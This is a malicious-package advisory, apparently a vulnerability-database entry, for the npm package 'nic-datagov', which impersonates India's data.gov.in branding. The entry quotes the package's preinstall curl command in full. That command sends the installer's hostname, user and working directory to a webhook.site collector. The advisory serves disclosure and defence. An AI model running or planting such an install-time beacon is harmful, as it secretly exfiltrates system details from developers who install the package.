MAL-2026-5836

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    MAL-2026-5836

    Published: 15 Jun 2026Last Modified: 16 Jun 2026

    Summary: Malicious code in nic-datagov (npm)

    Details: Source: amazon-inspector (89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf) package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace. Source: ossf-package-analysis (cde3f0f0a325ac483003eea66dda1dd21f2de2a149a97a7df41c7fb447c5a8ee) The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

    References: https://www.npmjs.com/package/nic-datagov/v/1.0.0

    Affected packages

    Package

    Name: nic-datagov

    Purl: pkg:npm/nic-datagov

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-5836 | CVE-DB